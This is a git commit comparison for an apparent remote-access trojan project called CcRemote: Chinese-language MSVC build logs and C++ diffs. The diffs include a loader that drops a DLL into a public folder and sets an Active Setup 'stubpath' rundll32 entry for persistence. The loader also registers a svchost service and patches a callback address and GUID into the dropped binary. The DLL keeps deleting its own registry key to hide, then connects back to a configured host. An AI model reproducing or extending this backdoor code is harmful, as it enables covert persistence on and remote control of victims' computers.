Compare commits

...

3 Commits

Author SHA1 Message Date
Cc28257
643faacca1 update cservce.dll 2020-08-08 14:43:58 +08:00
Cc28256
a726d73711
Update README.md 2020-08-07 17:05:57 +08:00
Cc28256
1440a5de60
Update README.md 2020-08-01 17:50:25 +08:00
25 changed files with 305 additions and 195 deletions

Binary file not shown.

View File

@ -1,5 +1,7 @@
f:\myapp\ccremote\bin\server\ccmaindll.lib
f:\myapp\ccremote\bin\server\ccmaindll.exp
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
f:\myapp\ccremote\bin\server\ccmaindll.iobj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
@ -36,5 +38,6 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.delete.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog

View File

@ -166,21 +166,21 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(262): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(293): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(303): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(328): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(366): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(367): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
StrCry.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配

View File

@ -162,21 +162,21 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(262): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(293): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(303): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(328): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(366): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(367): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
StrCry.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配

View File

@ -14,7 +14,8 @@ struct Connect_Address
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
}g_myAddress = { 0xCC28256,"",0 };
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28256,"",0,"" };
DWORD WINAPI DelAXRegThread(LPVOID lpParam);
@ -290,8 +291,8 @@ extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); //保存上线地址
g_dwPort = nPort; //保存上线端口
strcpy(g_strHost, strHost); // 保存上线地址
g_dwPort = nPort; // 保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
@ -300,8 +301,8 @@ extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
void TestFuns(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); //保存上线地址
g_dwPort = nPort; //保存上线端口
strcpy(g_strHost, strHost); // 保存上线地址
g_dwPort = nPort; // 保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
@ -312,8 +313,8 @@ void TestFuns(char* strHost, int nPort)
extern "C" __declspec(dllexport) void MainRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow)
{
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DelAXRegThread, NULL, 0, NULL);
char strHost[] = "127.0.0.1"; //声明上线地址
int nPort = 8088; //声明上线端口
char strHost[] = "127.0.0.1"; // 声明上线地址
int nPort = 8088; // 声明上线端口
TestFuns(strHost, nPort);
}
@ -346,30 +347,21 @@ extern "C" __declspec(dllexport) void FirstRun(HWND hwnd, HINSTANCE hinst, LPSTR
DWORD WINAPI DelAXRegThread(LPVOID lpParam)
{
char strFileName[MAX_PATH]; //dll文件名
char *pstrTemp = NULL;
char ActiveXStr[1024]; //activex 键值字符串
char ActiveXStr32[1024]; //activex 键值字符串
char ActiveXStr[1024]; // activex 键值字符串
char ActiveXStr32[1024]; // activex 键值字符串
ZeroMemory(ActiveXStr, 1024);
ZeroMemory(strFileName, MAX_PATH);
ZeroMemory(ActiveXStr32, 1024);
//得到自身文件名
GetModuleFileName(CKeyboardManager::g_hInstance, strFileName, MAX_PATH);
PathStripPath(strFileName); //将完整文件名转换为文件名
pstrTemp = strstr(strFileName, ".dll"); //寻找 .dll然后将他删除掉
if (pstrTemp != NULL)
if (g_myAddress.ActiveXKeyGuid != NULL)
{
ZeroMemory(pstrTemp, strlen(pstrTemp)); //删除掉扩展名
//构造键值
sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", strFileName);
sprintf(ActiveXStr32, "%s%s", "Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\\", strFileName);
sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid);
sprintf(ActiveXStr32, "%s%s", "Software\\Wow6432Node\\Microsoft\\Active Setup\\Installed Components\\", g_myAddress.ActiveXKeyGuid);
while (1)
{
//不停的删除注册表
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr);
OutputDebugString(ActiveXStr); //输出删除的字串用以测试
OutputDebugString(ActiveXStr); // 输出删除的字串用以测试
RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr32);
OutputDebugString(ActiveXStr32);
Sleep(1000 * 30);

View File

@ -1,8 +1,8 @@
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj
f:\myapp\ccremote\bin\server\loder.ilk
f:\myapp\ccremote\bin\server\loder.exe
f:\myapp\ccremote\bin\server\loder.ilk
f:\myapp\ccremote\bin\server\loder.pdb
f:\myapp\ccremote\ccmaindll\loder\debug\loder.res
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe

View File

@ -1,5 +1,6 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
Loder.cpp
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
@ -12,16 +13,18 @@ f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': Thi
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(247): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(286): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(288): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(293): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(298): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe

Binary file not shown.

View File

@ -1,14 +1,39 @@
// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <afx.h>
#include <iostream>
#include <Windows.h>
#include "resource.h"
#include "RegEditEx.h"
#include <shlobj.h>
#pragma comment(lib, "shell32.lib")
struct Connect_Address
{
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28257,"",0,"" };
int memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da, i, j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j++)
if (mem[i + j] != str[j]) break;
if (j == da) return i;
}
return -1;
}
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
{
DWORD dwWritten;
@ -26,7 +51,7 @@ bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
return true;
}
//要释放的路径 资源ID 资源名
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName)
bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName,char* pActiveXKeyGuid = NULL)
{
HRSRC hResInfo;
HGLOBAL hResData;
@ -58,6 +83,20 @@ bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResource
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
// 设置guid
if (pActiveXKeyGuid != NULL)
{
g_myAddress.dwstact = g_myAddress.dwstact - 1;//不然内存中会有两个CC28256 我们只招一个
int nOffset = memfind((char*)p, (char*)&g_myAddress.dwstact, dwSize, sizeof(DWORD));
if (nOffset >= 0)
{
memcpy(&g_myAddress, p + nOffset, sizeof(Connect_Address));
strcpy(g_myAddress.ActiveXKeyGuid, pActiveXKeyGuid);
memcpy(p + nOffset, &g_myAddress, sizeof(Connect_Address));
}
}
bool bRet = CreateMyFile(strFilePath, p, dwSize);
if (!bRet)
{
@ -96,7 +135,7 @@ char *AddsvchostService()
char servicename[50];
do
{
//这里获得类似这样的服务名netsvcs_0netsvcs_1。。。。。。。
//这里获得类似这样的服务名netsvcs_0netsvcs_1
wsprintf(servicename, "netsvcs_0x%d", i);
for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1)
{
@ -237,6 +276,7 @@ int ServerSetup()
BOOL GetNUM(char *num)
{
CoInitialize(NULL);
@ -266,6 +306,7 @@ void ActiveXSetup()
char ActivexStr[1024]; // 用于存储ActiveX的键字串
char ActiveXKey[64]; // ActiveX 的GUID字串
char strCmdLine[MAX_PATH]; // 存储启动的命令行参数
char fileName[MAX_PATH] = "cserver"; // ActiveX 的GUID字串
// ActiveX路径
char ActiveXPath[MAX_PATH] = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\";
@ -284,7 +325,7 @@ void ActiveXSetup()
//GetSystemDirectory(strFileName, MAX_PATH);
SHGetSpecialFolderPath(NULL, strFileName, CSIDL_COMMON_PICTURES, TRUE);
strcat(strFileName, "\\");
strcat(strFileName, ActiveXKey);
strcat(strFileName, fileName);
strcat(strFileName, ".dll");
@ -298,9 +339,9 @@ void ActiveXSetup()
sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName);
//将参数写道注册表中
RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE *)strCmdLine, lstrlen(strCmdLine));
RegCloseKey(hKey);
//RegCloseKey(hKey);
//释放文件
CreateEXE(strFileName, IDR_DLL1, "DLL");
CreateEXE(strFileName, IDR_DLL1, "DLL", ActiveXKey);
//启动服务端
STARTUPINFO StartInfo;

View File

@ -1,5 +1,6 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
Loder.cpp
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
@ -12,19 +13,21 @@ f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': Th
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(247): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(286): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(288): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(293): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(298): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
正在生成代码
All 12 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
All 66 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe

Binary file not shown.

Binary file not shown.

View File

@ -13,7 +13,8 @@ struct Connect_Address
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
}g_myAddress = { 0xCC28256,"",0 };
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28256,"",0,"" };
// CBuildDlg 对话框
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
@ -164,35 +165,3 @@ int CBuildDlg::memfind(const char *mem, const char *str, int sizem, int sizes)
return -1;
}
CString CBuildDlg::FindFiles(const char* dir, BYTE *lpBuffer,DWORD lpSize)
{
HANDLE h; // 文件句柄
